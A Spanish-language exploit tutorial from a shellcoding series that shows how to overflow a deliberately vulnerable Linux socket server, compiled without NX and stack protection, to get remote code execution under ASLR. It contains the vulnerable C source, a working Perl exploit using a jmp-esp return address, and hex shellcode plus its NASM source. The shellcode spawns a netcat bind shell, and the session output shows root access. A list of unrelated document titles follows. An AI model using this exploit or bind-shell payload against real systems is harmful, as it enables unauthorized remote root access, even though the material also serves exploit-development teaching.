.: ASM / Shellcoding Series :. III Bypassing Remote Linux x86 ASLR protection
|
|
|
- María Antonia Peralta Sáez
- hace 10 años
- Vistas:
Transcripción
1 .: ASM / Shellcoding Series :. III Bypassing Remote Linux x86 ASLR protection por vlan7 vlan7 [at] overflowedminds [point] net Abr
2 Índice 1. Objetivo 3 2. Entorno 3 3. Análisis del programa vulnerable 4 4. El EIP es nuestro 5 5. Referencias 8 6. Agradecimientos 9 7. Si me quieres escribir ya sabes mi paradero 9 2
3 It s pretty exciting - as you inject more bytes you overflow more minds. 1. Objetivo Nuestro objetivo es el mismo que en la parte II de las Series. Pero en esta entrega crearemos un exploit que inyecte en un código vulnerable un shellcode linux/x86 remoto válido que nos devuelva una shell en un sistema que disponga de un kernel reciente con la protección ASLR activada. En principio la única regla es que vale todo menos fuerza bruta. 2. Entorno Verificamos que nos encontramos en un sistema con la protección ASLR activada. Código 1 Comprobación ASLR root@bt:~# /sbin/sysctl -a 2>/dev/null grep kernel.randomize_va_space kernel.randomize_va_space = 2 También podemos consultar el valor de dicha variable inspeccionando /proc Código 2 Comprobación ASLR root@bt:~# cat /proc/sys/kernel/randomize_va_space 2 Esta variable puede tomar valores 0, 1 y 2. 0 : ASLR desactivado. 1 : ASLR activado, aunque el heap no se ve afectado. 2 : Full ASLR. (kernel.randomize_va_space): On (Setting: 2) Código 3 Full ASLR Description - Make the addresses of mmap base, heap, stack and VDSO page randomized. This, among other things, implies that shared libraries will be loaded to random addresses. Also for PIE-linked binaries, the location of code start is randomized. See the kernel file Documentation/sysctl/kernel.txt for more details. Por último mediante el comando uname obtenemos la versión del kernel, 3.2.6, y la release de Backtrack, BT5-R2, ambas versiones recientes en el momento de escribir esto. Código 4 Some versions root@root:~# uname -a Linux root #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux root@root:~# cat /etc/issue BackTrack 5 R2 - Code Name Revolution 32 bit \n \l 3
4 3. Análisis del programa vulnerable Se pueden introducir caracteres en una edicion de Turbo Pascal Neil J. Rubenking /* THIS PROGRAM IS A HACK */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <string.h> #include <stdlib.h> void error(char *msg) { perror(msg); exit(7); void jmpesp() { int cika = 58623; /* ff e4 */ /* asm ("jmp * %esp"); ff e4 */ void evilcopy(char *string) { char buffer[1024]; strcpy(buffer,string); /* overflow */ printf("the user entered: %s",buffer); int main(int argc, char *argv[]) { int sockfd, newsockfd, portno, clilen; char buffer[2000]; struct sockaddr_in serv_addr, cli_addr; int n; if (argc < 2) { printf("error, no port provided\n"); exit(1); sockfd = socket(af_inet, SOCK_STREAM, 0); if (sockfd < 0) error("error opening socket"); bzero((char *) &serv_addr, sizeof(serv_addr)); portno = atoi(argv[1]); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = INADDR_ANY; 4
5 serv_addr.sin_port = htons(portno); if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) error("error on binding"); listen(sockfd,5); clilen = sizeof(cli_addr); while(1) { newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen); if (newsockfd < 0) error("error on accept"); bzero(buffer,256); n = read(newsockfd,buffer,2000); if (n < 0) error("error reading from socket"); evilcopy(buffer); n = write(newsockfd,"message printed to server s stdout", strlen("message printed to server s stdout")); if (n < 0) error("error writing to socket"); return 0; Código 5 vuln.c La protección NX se puede vulnerar al menos mediante las técnicas conocidas como ret2libc, ROP o Borrowed Code Chunks. SSP también se puede evadir. No obstante, no es el objetivo de este artículo estudiar estas protecciones, así que las deshabilitamos pasándole al compilador los siguientes parámetros. Código 6 no NX + no SSP root@bt:~# gcc -o vuln vuln.c -z execstack -fno-stack-protector -g 4. El EIP es nuestro Aunque explotes, seguiran haciendo lo mismo. Marco Aurelio El servidor es la víctima. Escuchará en el puerto Código 7 server root@root:~# ifconfig eth3 grep inet addr inet addr: Bcast: Mask: root@root:~# gdb -q vuln Reading symbols from /root/vuln...done. (gdb) r 7777 Starting program: /root/vuln
6 El cliente es el atacante. Se conectará al puerto 7777 del servidor y enviando 1040 bytes logrará sobreescribir el registro EIP. Código 8 client vlan7@zen7:~$ perl -e print "A"x1040 nc -vv UNKNOWN [ ] 7777 (?) open ^C sent 1040, rcvd 0 vlan7@zen7:~$ Desde el servidor vemos como se ha sobreescrito el registro EIP. Código 9 server The user entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Program received signal SIGSEGV, Segmentation fault. 0x in?? () (gdb) p $eip $1 = (void (*)()) 0x (gdb) q A debugging session is active. Inferior 1 [process 3360] will be killed. Quit anyway? (y or n) y root@root:~# El EIP ha sido sobreescrito. Luego ya podemos desviar el flujo previsto del programa hacia el shellcode de nuestra elección. Luego podemos afirmar que el programa está en la peor situación posible. El orden en la pila de los elementos que formarán el payload en el buffer es el siguiente. [NOP-Sled][@RET][Shellcode] Primero el NOP-sled, que serán A s, ya que no se ejecutan, seguido de la dirección de retorno. Podemos buscando en el desensamblado del ejecutable a explotar un salto hacia ESP. root@root:~# msfelfscan -j esp./vuln [./vuln] 0x080486fa jmp esp root@root:~# Código 10 Buscando ff e4 Ese puntero a ESP, pasado a notación little-endian en nuestro payload, y nos llevará a la ejecución de nuestro shellcode que terminaremos con un NULL que será interpretado como fin de cadena. Bien, creemos un exploit en puede variar de un sistema a otro, debido entre otras cosas a la versión de gcc con la que haya sido compilado el programa vulnerable. 6
7 # exploit.pl # vlan7 22-Abr-2012 Código 11 exploit.pl my $sc = "\x31\xc0\x99\x68\x31\x37\x37\x31\x68\x2d\x76\x70\x31\x89\xe2\x50\x68\x6e\x2f". "\x73\x68\x68\x65\x2f\x62\x69\x68\x2d\x6c\x76\x76\x89\xe1\x50\x68\x2f\x2f\x6e\x63\x68". "\x2f\x62\x69\x6e\x89\xe3\x50\x52\x51\x53\x99\x89\xe1\xb0\x0b\xcd\x80"; my $ret = "\xfa\x86\x04\x08"; print "A"x1036. $ret. $sc. "\x00"; Ponemos nuevamente el servidor a la escucha en el puerto root@root:~#./vuln 7777 Código 12 server El atacante ejecuta el exploit que inyectará un bind-shellcode que pondrá un netcat a la escucha en el servidor. Código 13 Que el EIP sea sobreescrito vlan7@zen7:~$ perl exploit.pl nc -vv UNKNOWN [ ] 7777 (?) open Tras inyectar el shellcode, esto es lo que puede verse en el servidor. Código 14 0wned The user entered: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA listening on [any] El atacante se conecta al puerto donde está escuchando el bind-shellcode inyectado. vlan7@zen7:~$ nc -vv UNKNOWN [ ] (?) open whoami root id uid=0(root) gid=0(root) groups=0(root) exit sent 15, rcvd 44 vlan7@zen7:~$ Código 15 Estamos dentro Cuando se explota cualquier tipo de software y se es capaz de ejecutar el shellcode de nuestra eleccion se puede decir que el software explotado esta en la peor situacion posible. Newlog 7
8 A continuación se muestra el código fuente del shellcode en ASM. ; THIS PROGRAM IS A HACK ; ; Coded by vlan7 ; 22-Abr-2012 ; ; netcat bind-shellcode ; 57 bytes (smallest? maybe) BITS 32 global _start section.text _start: xor eax,eax cdq push 0x push 0x d mov edx, esp push eax push 0x68732f6e push 0x69622f65 push 0x76766c2d mov ecx, esp push eax push 0x636e2f2f push 0x6e69622f mov ebx, esp push eax push edx push ecx push ebx cdq mov ecx, esp mov al, 11 int 0x80 Código 16 shellcode codificado en NASM 5. Referencias + Segmentation fault en una evasion ASLR/Linux con ret2reg VVAA + Exploiting with linux-gate.so.1 Izik 8
9 + ASLR Smack & Laugh Reference Tilo Muller dbrumley/courses/18739c-s11/docs/aslr.pdf + Beej s Guide to Network Programming Beej 6. Agradecimientos Este documento lo quiero dedicar y agradecer muy especialmente a la persona sin la cual todo esto no hubiera sido posible: El autor. 7. Si me quieres escribir ya sabes mi paradero BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v (GNU/Linux) mqenbezlotcbcac/sqcixo2hs0s1ptscknb0whordgpeajtcofy6egbzgrbkbxu7 PccaLK6QKmPzMDNfqMTxDH8zQB/67MABLNSXkz4POZA43v/sB4Dp1pb7ZJ1pdmMe YaHJZBeVBVoM5Vt5Bzab4GuZ49l62XD8BmVhZB551O4pqua+OclYw5eWv970KWqh o8/f98f5zva1vig3h0ongwqd6e084wsjgenltnzrxokhv1e3ckukdz5udri04sfc o/pkt6qk3ojaqjjrj1imyonq5rpckuxix+q54lqcjd7kjpgdtgdbau5lqqn5rcdj 0/SJAM30qrK1lWCJQXKmf9aOfUQ2pZSFivonABEBAAG0LnZsYW43IChodHRwOi8v d3d3lnzsyw43lm9yzykgpgfkbwluqhzsyw43lm9yzz6jatgeewecacifakzlotcc GwMGCwkIBwMCBhUIAgkKCwQWAgMBAh4BAheAAAoJEM0bubRe0bUrF2UH/iqUo4C2 Q1OlQj84W03xIS8hxdKRnHjJWrx8dFNB2e9uXUH9G3FUKfIgsQyLwWeFJvDHjQ1k 4NnCrB73QOem0y7agmet8eY0Kx0/ejnxiQsnbok0p7L4WSLmrVPpP8X3IXoN97C8 2ogf48HxPGwPtIc8/EekFvFxa4GCrJDI+AtN8LEE35pRKvMoNOnwlURWQzYr1pD2 aawd/uzcrbfhfch6curii5lnmp9evuiw1m3btv4mwof7d6t48cokbjvlzmymyk3d uerw4wjzwj/63n95lnzqwujagnyzpowqv4xbmfafomwgummm6b2oru8et/yj177z RAxlpnFKe/FwYXq5AQ0ETMs5NwEIALIUFWsSzGrHLyqmpnEZaFx5pCDMToWNuGUp LVTb4P6w5RN/6DEev0WpfGoO4mQ7uXkRfcJpH0TC6ELI5uFzuEw9Qw5KSSv8BBNj X4Pv5BE/C3LH7HMPJNWgGIbOfj47+uT9iH8+uV+oNttVlTejmMaKqkWjTL7snfua /OQ8wdRO7EIx5nEl0f9XyRRE0GvqbrBkfsmSJGUvzjuAIOkKYnCg89rM5DPcE+6I Uhh5HuaSl4NuGr7yT+jknXbBUd+X/YgqVsnqLyMHp5btQLieapHiSQyg+xvN2TYC LJtLsWMU1Xg3/+kW7GnFvNOUSdlTvLW47hc9n6zZ/3NKlorL9MEAEQEAAYkBHwQY AQIACQUCTMs5NwIbDAAKCRDNG7m0XtG1K3lwCAC89WNu95z7a/+fyDmZzXXVMrz0 dml+1wrqgpaiqtod7b3m+eynfbru9o67eod6hrx14yjelphutzqjz1qcaeifjm0l lmorcs9symrkpxjpasgmyfam8dxlpvpbl60g5cxtlkauocts50s7bnxpvgurfwz2 89aqKgaQitM2RcXIwMuQQeLMZmurfbJH3vlXHVw2fyJiY5erjc92HSLNwXMZOVeB 6zUXp/PiOv72AcLzIZN+/l7+wM+yJwe/+N8jys955y1/Uxj2bNZNI7fumMUnoHv6 YXDegh7VtnyahuXUDRUKX3XfTpMWFIzcqAZFqyoqmK99zpfLxJBn+o/wxG0w =AFJ END PGP PUBLIC KEY BLOCK
10 Suerte, vlan7, 22 de Abril de The internet is closed Please go away. Apache 2/2 Server at leka. assembly. org Port 80 10
.: ASM / Shellcoding Series :. II Bypassing local Linux x86 ASLR protection
.: ASM / Shellcoding Series :. II Bypassing local Linux x86 ASLR protection por vlan7 vlan7 [at] overflowedminds [point] net http://www.overflowedminds.net http://zen7.vlan7.org 27-Feb-2011 1 Índice 1.
Contenido. Primera Parte: Sockets. Segunda Parte: Shellcodes
Contenido Primera Parte: Sockets Segunda Parte: Shellcodes Primera Parte # echo _Sockets_ Por qué saber sobre sockets? Para construir cualquier aplicación de red W W W FTP P2P Pre-requisitos TCP / IP básico
-> Todo socket viene definido por dos características fundamentales:
LOS SOCKETS. Los sockets no son más que puntos o mecanismos de comunicación entre procesos que permiten que un proceso hable (emita o reciba información) con otro proceso incluso estando estos procesos
SCHOOL OF HACKING 2015 RETO BUFFER OVERFLOW
SCHOOL OF HACKING 2015 RETO BUFFER OVERFLOW INSTRUCCIONES Para la resolución del reto habrá que tener una máquina física o virtual Linux instalada al menos con las siguientes características: - Compilador
Problemas de Redes de Computadores. Conjunto de problemas 1
Problemas de Redes de Computadores. Ingeniería Técnica en Informática de Gestión Conjunto de problemas 1 Pregunta 1.1: Si configuro mi servidor Web para que no acepte conexiones desde la dirección IP 130.206.1.1,
Paso de Borland Turbo C (bajo DOS) a Anjuta (Linux) 1.
Paso de Borland Turbo C (bajo DOS) a Anjuta (Linux) 1. Anjuta es un entorno de desarrollo de C que podemos encontrar en cualquier distribución de GNU/Linux. Si nuestra distribución no dispone de ella,
ARQUITECTURA DE REDES Laboratorio
1nsloo.cl ARQUITECTURA DE REDES Laboratorio Práctica 2: Ejercicios de aplicación de Sockets en C 1. OBJETIVOS. El objetivo de esta práctica es que el alumno llegue a conocer los principales conceptos relacionados
Introducción a la programación con sockets en C
Introducción a la programación con sockets en C Enrique Bonet Departamento de Informática Universidad de Valencia Índice Introducción Socket Creación de un socket Cierre de un socket Asociación de un socket
ARQUITECTURA DE REDES Laboratorio PRÁCTICA 2: MANUAL DE SOCKETS EN C. Grado en Ingeniería Informática Curso 2014/15
ARQUITECTURA DE REDES Laboratorio PRÁCTICA 2: MANUAL DE SOCKETS EN C Grado en Ingeniería Informática Curso 2014/15 ÍNDICE 1. INTRODUCCIÓN.. 3 1.1 La familia de protocolos TCP/IP. 3 1.2 Nivel de red (IP)..
El lenguaje de Programación C. Fernando J. Pereda <[email protected]>
El lenguaje de Programación C Fernando J. Pereda Por qué aprender C? Portable y muy extendido Estándar (C89, C99) El lenguaje de los sistemas Un lenguaje fácil (no, no es broma) Por
Tutorial BMS Server Studio UDP
Tutorial BMS Server Studio UDP ÍNDICE Página 0. Introducción...3 1. Configuración del puerto UDP...4 2. Ejemplos...6 2.1 Configuración manual...6 2.1.1 Configuración SocketTest...6 2.1.2 Configuración
Entorno de Ejecución del Procesador Intel Pentium
Arquitectura de Ordenadores Arquitectura del Procesador Intel Pentium Abelardo Pardo [email protected] Universidad Carlos III de Madrid Departamento de Ingeniería Telemática Entorno de Ejecución del Procesador
Ejercicio Sockets Suma Resta. Descripción
Ejercicio Sockets Suma Resta Siguiendo con nuestra propuesta de construir embriones de servicios, como hemos hecho en la práctica programando un embrión de Telnet, un embrión de cliente de un servidor
Esquema de un programa en C: bloques básicos
Esquema de un programa en C: bloques básicos // Incluimos los ficheros de cabecera que necesitemos. // Esto es un comentario #include #include // Si queremos definir alguna constante,
Puesta en marcha y configuración del servicio de monitorización remota (MONSER)
Puesta en marcha y configuración del servicio de monitorización remota (MONSER) Este documento explica brevemente los pasos a seguir para establecer un servicio de conexión remota que permita monitorizar,
Prof. Dr. Paul Bustamante
Prácticas de C++ Practica Nº 10 Informática II Fundamentos de Programación Prof. Dr. Paul Bustamante INDICE 1.1 EJERCICIO 1: MI PRIMER FICHERO EN BINARIO... 1 1.2 EJERCICIO 2: LEYENDO MI PRIMER FICHERO
Práctica de gsoap. int ns enviar (unsigned nodo, std::string cadena, std::string &resultado); int ns recibir(unsigned nodo, std::string &resultado);
Práctica de gsoap Para desarrollar programas que utilicen gsoap para llevar a cabo las comunicaciones, debemos bajar el paquete gsoap linux 2.7.tgz disponible en: http://atc.ugr.es/pedro/docencia/irhc/irhc.html
Introducción a la programación de shellcodes para GNU/Linux
Shellcoding Introducción a la programación de shellcodes para GNU/Linux Eloi S.G. (a.k.a TuXeD) http://tuxed.serveblog.net [email protected] 1.- Introducción En este documento podrás encontrar una introducción
REDES DE COMPUTADORAS 2. Clase 5
REDES DE COMPUTADORAS 2 Clase 5 Agenda Principios de las aplicaciones de red Web y HTTP FTP Correo Electrónico SMTP, POP3, IMAP DNS P2P para archivos compartidos Programación de sockets con TCP Programación
Examen de Fundamentos de sistemas distribuidos
Examen de Fundamentos de sistemas distribuidos Tiempo total: 2 horas Problema: Programa: Rendezvous con semáforos(5 puntos) Utilizando como único mecanismo de sincronización los semáforos descritos en
Implementando NAT64 / DNS64
Implementando NAT64 / DNS64 Contenido Contenido... 1 Introducción... 1 Que son NAT64 y DNS64?... 1 Implementando DNS64 / NAT64 para clientes... 2 Requerimientos generales... 2 Software... 3 Arquitectura...
Migrando aplicaciones a IPv6
Migrando aplicaciones a Fundamentos técnico: DualStack y Socket.h Alonso Sandoval A. Hernán Vargas L. Universidad Técnica Federico Santa María [email protected], [email protected]
.: ASM / Shellcoding Series :. I Local Linux x86 Shellcoding without any high-level language
.: ASM / Shellcoding Series :. I Local Linux x86 Shellcoding without any high-level language por vlan7 http://www.vlan7.org http://zen7.vlan7.org 7-Nov-2010 1 Índice 1. Objetivo 3 2. Nuestra shellcode
Generación de código para funciones. Generación de código para funciones. Generación de código para funciones. Generación de código para funciones
Ejemplo introductorio: escritura de funciones en NASM Ejemplo introductorio: escritura de funciones en NASM En estas transparencias pondremos una subrutina ASPLE y la generación de código equivalente En
Escalada de privilegios mediante infección ELF
FIST Conference /Barcelona 2006 @ Sponsored by: Escalada de privilegios mediante infección ELF Jesús Olmos González I/O vs Memory Comprobaciones iniciales Cabecera Elf Tabla de segmentos Cálculo de entry
Introduccion al Lenguaje C. Omar Andrés Zapata Mesa Grupo de Fenomenología de Interacciones Fundamentales, (Gfif) Universidad de Antioquia
Introduccion al Lenguaje C Omar Andrés Zapata Mesa Grupo de Fenomenología de Interacciones Fundamentales, (Gfif) Universidad de Antioquia Introducción C es un lenguaje de programación creado en 1972 por
sockets Flujo (SOCK_STREAM) Comunicación bidireccional Confiable (entrega garantizada) Información ordenada en el destino Datagrama (SOCK_DGRAM)
s s Comunicación punto-a-punto entre procesos Los s son los extremos de la comunicación Diferentes dominios UNIX: Entre procesos de un mismo equipo Internet: Entre procesos de diferentes equipos (TCP/IP)
Departamento de Seguridad en Cómputo UNAM-CERT
Departamento de Seguridad en Cómputo UNAM-CERT Reporte de vulnerabilidad de Excel Resumen En este documento se muestra la explotación de una vulnerabilidad de Excel de ejecución de código arbitrario. Proyecto
Problemas de Redes de Computadores. Ingeniería Técnica en Informática de Gestión Conjunto de problemas 1
Problemas de Redes de Computadores. Ingeniería Técnica en Informática de Gestión Conjunto de problemas 1 Preguntas cortas Pregunta 1.1: Si configuro mi servidor Web para que no acepte conexiones desde
Contenidos. Gestión dinámica de memoria. Gestión dinámica de memoria. Introducción. 1. Introducción 2. El operador NEW 3. El operador DELETE
Contenidos 1. Introducción 2. El operador NEW 3. El operador DELETE 1 Introducción Hasta ahora hemos visto que cada vez que queremos usar una variable debemos reservarle un lugar de la memoria al comenzar
ARQUITECTURA DE REDES Laboratorio
1nsloo.cl ARQUITECTURA DE REDES Laboratorio Práctica 4: Ejercicios de aplicación de HTTP 1. OBJETIVOS. El objetivo de esta práctica es que el alumno llegue a conocer los principales conceptos relacionados
Práctica 1 Programación de Aplicaciones Distribuidas: Sockets UDP. Laboratorio de Comunicación de Datos ITT Telemática Septiembre 2011
Práctica 1 Programación de Aplicaciones Distribuidas: Sockets UDP Laboratorio de Comunicación de Datos ITT Telemática Septiembre 2011 Introducción Aplicaciones Distribuidas Su funcionalidad se distribuye
FACULTAD DE INGENIERÍA, U.B.A. Seminario de Sistemas Embebidos TRABAJO PRÁCTICO 0
1 er Cuatrimestre de 2011 FACULTAD DE INGENIERÍA, U.B.A. Seminario de Sistemas Embebidos TRABAJO PRÁCTICO 0 Índice 1. Objetivo 2 2. Preparación del software 2 2.1. Instalación.......................................
Un laboratorio bajo lupa
Un laboratorio bajo lupa Claudio Salazar Security Research Team (cc) pablolizardo Una estructura común Root Ayudantes Ayudantes Ayudantes Ayudantes Usuario Usuario Usuario Usuario Usuario Usuario Usuario
Punteros. Definición Un puntero es un dato que contiene una dirección de memoria.
Punteros Definición Un puntero es un dato que contiene una dirección de memoria. NOTA: Existe una dirección especial que se representa por medio de la constante NULL (definida en ) y se emplea
Solución al Primer Reto
En el reto que se planteaba en el primer articulo se pedía conseguir toda la información posible sobre la maquina virtual que se suministra y a través de dicha información descubrir vulnerabilidades e
Programación en C++/Funciones
Programación en C++/Funciones 1 Programación en C++/Funciones Estructuras Streams Funciones Definiendo una función Una función es un conjunto de líneas de código que realizan una tarea específica y puede
EKO-PARTY 2008. Inyección de codigo en máquinas virtuales. Por Nicolás A. Economou
EKO-PARTY 2008 Inyección de codigo en máquinas virtuales Por Nicolás A. Economou VM Algunos terminos Host: Maquina fisica que ejecuta a la maquina virtual. Guest: La maquina virtual. vmware-vmx.exe: Proceso
HOW TO SOBRE REMOTE ACCESS VPN MODE EN LINUX
HOW TO SOBRE REMOTE ACCESS VPN MODE EN LINUX 1- En este how to realizaremos una conexión remota mediante vpn; lo que haremos es comprobar primero que las maquinas que vamos a conectar, se puedan ver y
Práctica 3 de Redes de Área Local Cliente y Servidor de ficheros concurrente
Práctica 3 de Redes de Área Local Cliente y Servidor de ficheros concurrente 3 o curso de Ingeniería Técnica en Informática de Sistemas 13 de abril de 2007 El objetivo de esta práctica es realizar una
PRACTICA #1. Aprender a programar una interrupción software empleando C y/o Ensamblador.
PRACTICA #1 Aprender a programar una interrupción software empleando C y/o Ensamblador. Aprender a manipular dispositivos externos (8253, 8255) desde C y/o ensamblador. PROCEDIMIENTO: Vamos a programar
Hacer ejercicios del libro (Cap. 9 Seguridad): 4,5,6,7,8,9,10,12,13
Práctico Seguridad Sistemas Operativos Hacer ejercicios del libro (Cap. 9 Seguridad): 4,5,6,7,8,9,10,12,13 1) Suponga que se previene la ejecucion de datos localizados en la pila de una funcion (osea,
GESTIÓN DE EXCEPCIONES EN JAVA. CAPTURA CON BLOQUES TRY CATCH Y FINALLY. EJEMPLOS RESUELTOS. (CU00927C)
APRENDERAPROGRAMAR.COM GESTIÓN DE EXCEPCIONES EN JAVA. CAPTURA CON BLOQUES TRY CATCH Y FINALLY. EJEMPLOS RESUELTOS. (CU00927C) Sección: Cursos Categoría: Lenguaje de programación Java nivel avanzado I
TUTORIAL DE PHP. M. en C. Erika Vilches. Parte 2. http://www.erikavilches.com
TUTORIAL DE PHP M. en C. Erika Vilches Parte 2 http://www.erikavilches.com Enunciados Condicionales Inicia con la palabra clave if seguida de una condición entre paréntesis $number = 5; if ($number < 10)
S C TP: Una alternativa al protocolo TC P s obre Linux. Ing. Isaac Fernández Baca Peña
S C TP: Una alternativa al protocolo TC P s obre Linux Ing. Isaac Fernández Baca Peña M arco Teórico: Q ué es S C TP? Stream Control Transmission Protocol milar a TCP y UDP. Es un protocolo de comunicación
Análisis Experimental de la Transmisión de Datos
UNIVERSIDAD TÉCNICA FEDERICO SANTA MARÍA DEPARTAMENTO DE ELECTRÓNICA Análisis Experimental de la Transmisión de Datos ELO322 Redes de Computadores I Pablo Ahumada D. Jorge Cápona G. Resumen Se muestra
Objetivos de la práctica: - Practicar uso de ficheros: abrir, cerrar y tratamiento de información contenida en el fichero.
Objetivos de la práctica: - Practicar uso de ficheros: abrir, cerrar y tratamiento de información contenida en el fichero. Uso de Ficheros Todas las estructuras de datos vistas hasta ahora utilizan la
Mecanismos IPC: sockets
Mecanismos IPC: sockets Ampliación de Sistemas Operativos (prácticas) E.U. Informática en Segovia Universidad de Valladolid Sockets Los sockets son una abstracción lógica que permiten la comunicación bidireccional
Contenidos. Archivos en C++ Archivos en C++ Introducción
Contenidos 1. Introducción. 2. Manipulación de ficheros. 3. Organización de archivos. 4. Tipo de almacenamiento. 5. Biblioteca de flujos. 6. Operaciones asociadas a archivos: Abrir fichero, Cerrar fichero,
Sistemas Operativos: Programación de Sistemas. Curso 2006-07. Oscar Déniz Suárez Alexis Quesada Arencibia Francisco J.
Tema 2 : entorno programación linux Sistemas Operativos: Programación de Sistemas Oscar Déniz Suárez Alexis Quesada Arencibia Francisco J. Santana Pérez Curso 2006-07 Francisco J. Santana 1 Programación
Tema 4: Sockets: Un interfaz con TCP/IP
Tema 4: Sockets: Un interfaz con TCP/IP Introducción. Conceptos básicos. Dirección de un socket. Llamadas básicas de los sockets. Diferencias entre BSD-Sockets y WinSockets. Asignación de puertos a procesos.
Escalar de un Dominio a otro
Escalar de un Dominio a otro 1.- Introducción: El presente artículo describe una técnica que podría utilizar un pentester para tomar control de más de un dominio en una empresa, identificando las relaciones
Capítulo 0. Introducción.
Capítulo 0. Introducción. Bueno, por fin está aquí el esperado (espero!!) Capítulo Cero del Tutorial de Assembler. En él estableceremos algunos conceptos que nos serán de utilidad a lo largo del Tutorial.
COMUNICACIÓN ENTRE PROCESOS SOCKETS
COMUNICACIÓN ENTRE PROCESOS SOCKETS Diseño de Sistemas Operativos Curso 2007/08 Grupo: Mi30 Martín Santana, A. David Martínez Santana, Luis Ignacio Qué son?(definición) n) Los sockets son mecanismos de
Qué es un socket? Dominios de comunicación. Tipos de sockets en el dominio AF_INET. Sockets Stream. Sockets Datagram. Sockets Raw
Qué es un socket? Es una interfaz de entrada salida de datos que permite la intercomunicación entre procesos. Los procesos pueden estar ejecutándose en el mismo o en distintos sistemas, unidos mediante
SOR -::- Prácticas -::- Curso 05/06. RCP es un estándar desarrollado por Sun Microsystems y usado por muchos distribuidores de sistemas UNIX.
RPC RCP es un estándar desarrollado por Sun Microsystems y usado por muchos distribuidores de sistemas UNIX. El RPC es una interfaz de programación de aplicación (API) disponible para el desarrollo de
"Programación en Ensamblador del microprocesador Pentium (I)"
PRÁCTICA 3 "Programación en Ensamblador del microprocesador Pentium (I)" ÍNDICE 3.1.- El microprocesador Pentium. 3.2.- Inserción de ensamblador en Visual Studio. 3.3.- Facilidades para la depuración de
Aplicaciones seguras con ClaseSeguridad
Aplicaciones seguras con ClaseSeguridad Índice de contenido Por que ClaseSeguridad?...1 Referenciar ClaseSeguridad...1 Declaración y creación...1 Evitar inyección de SQL...1 Eliminar etiquetas...3 Evitar
El olvidado mundo de las variables en PHP
Hackers & Developers Magazine Año 0, Número 7 49 El olvidado mundo de las variables en PHP PHP Variables locales; variables globales; variables súper globales; variables estáticas; variables variables;
PRÁCTICA DE LABORATORIO 3 Tipo Abstrato de Dato
ESCUELA DE INGENIERÍA DE SISTEMAS DEPARTAMENTO DE COMPUTACIÓN PROGRAMACIÓN 2 PRÁCTICA DE LABORATORIO 3 Tipo Abstrato de Dato Contenido Introducción...1 Dato...1 Valor...1 Tipo de Dato...2 Tipo Abstracto
SOLUCION EXAMEN junio 2006
SOLUCION EXAMEN junio 2006 1. Explique razonadamente si las siguientes afirmaciones son verdaderas o falsas: I) (1 p) En UNIX únicamente se distinguen dos tipos de procesos: los procesos de usuario y los
LABORATORIO BASH SCRIPTING
LABORATORIO BASH SCRIPTING 1. Ambiente bash básico 1.1. Descripción general Estas son el tipo de herramientas que normalmente usaremos. Debe familiarizarse con este tipo de ambiente. Tiempo estimado para
Por ejemplo, los números binarios sin signo que se pueden construir con 4 bits son: bit más significativo more significant bit (msb)
istema binario Un sistema binario utiliza únicamente dos símbolos para representar la información. Comúnmente los símbolos usados son los dígitos y 1, por eso reciben el nombre de dígitos binarios (binary
Instalación de IPv6 en plataformas FreeBSD
Versión Fecha: 4.0 05/01/2004 Título: Tipo: Autor(es): Editor: Instalación de IPv6 en plataformas FreeBSD Documento Técnico 6SOS Documento original suministrado por Jordi Palet Martínez Adaptación por
Software de Comunicaciones. Práctica 7 - Secure Shell. SSH
Software de Comunicaciones Práctica 7 - Secure Shell. SSH Juan Díez-Yanguas Barber Software de Comunicaciones Ingeniería Informática - 5º Curso Jdyb - Mayo 2013 Juan Díez- Yanguas Barber Práctica 7 Índice
Conexión SFTP-SSH2 en PHP a través de un fichero.ppk
Conexión SFTP-SSH2 en PHP a través de un fichero.ppk Necesitamos nuestro fichero.ppk Necesitamos crear 2 ficheros de texto plano, uno sin extensión, donde añadiremos una clave privada que tendremos que
gcc = (GNU C compiler). gdb = (GNU DeBugger).
Capítulo 4b.- El debugador. Aunque un programa este sintácticamente bien escrito, es decir, el compilar lo comprende y es capaz de construir un binario a partir de él, puede ocurrir que el código no funcione
Seguridad hoy en día. Claudio Salazar [email protected] http://nlc.pinguinux.cl PinguinuX Team
Seguridad hoy en día. Claudio Salazar [email protected] http://nlc.pinguinux.cl PinguinuX Team (cc) muehlinghaus Un montón de noticias Se filtran datos personales de 6 millones de chilenos vía Internet
Características de un lenguaje ideal para robótica
COMUNICACIÓN MEDIANTE SOCKETS Enrique Ortega Edrodoso Ingeniería Técnica de Informática de Gestión Introducción Los vehículos autoguiados comerciales disponibles en la actualidad tienen una serie de inconvenientes
SECURITY DAY PERU. Ataques a la familia de Sistemas Operativos Windows. Explotando Vulnerabilidades a Servicios / Ataques a Clientes.
SOLUTIONS FOR KEEPING YOUR BUSINESS UP Email: [email protected] Tel. +(507) 271 5951 Tel. +(1) 928 752 1325 Aptdo. 55-0444, Paitilla. Panama City, Panama SECURITY DAY PERU Ataques a la familia de Sistemas
PROCESO DE INSTALACIÓN Y CONFIGURACIÓN DE APACHE, PHP Y MySQL
PROCESO DE INSTALACIÓN Y CONFIGURACIÓN DE APACHE, PHP Y MySQL Comenzaremos con la instalación de APACHE; que es un programa de servidor HTTP Web de código abierto. Este servidor se desarrolla dentro del
Estructuras y funciones de programación de sockets.
Estructuras y funciones de programación de sockets. Introducción. En estos apuntes se incluye una breve descripción de las estructuras y funciones cuyo uso puede ser necesario para el desarrollo de las
Sockets (TCP) Tema 2.- Nivel de aplicación en Internet
Sockets (TCP) Tema 2- Nivel de aplicación en Internet Dr Daniel Morató es de Computadores Ingeniero Técnico en Informática de Gestión, 2º curso Material parcialmente adaptado del libro Computer Networking:
Clase 23 FTP. Telnet. Ejemplos Tema 6.- Nivel de aplicación en Internet
